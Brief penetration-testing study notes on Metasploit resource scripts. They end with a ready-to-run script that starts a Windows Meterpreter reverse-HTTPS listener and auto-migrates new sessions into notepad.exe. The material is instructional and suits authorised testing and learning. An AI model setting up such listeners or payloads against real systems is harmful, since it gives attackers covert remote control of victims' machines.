7. Automated Resource Scripts
- Set global variables in MSF:
setg LHOST <ip>
unsetg LHOST
-
Pre-configured Metasploit resource scripts:
/usr/share/metasploit-framework/scripts/resource -
Run resource scripts written in Ruby:
sudo msfconsole -r script.rc
- Example-script:
- run -z stops from automatically interacting with session
- ExitOnSession closes listener on opened session
- migrate module migrates to notepad.exe as default
#Set up listener
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443
#Run when session is opened
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
run -z -j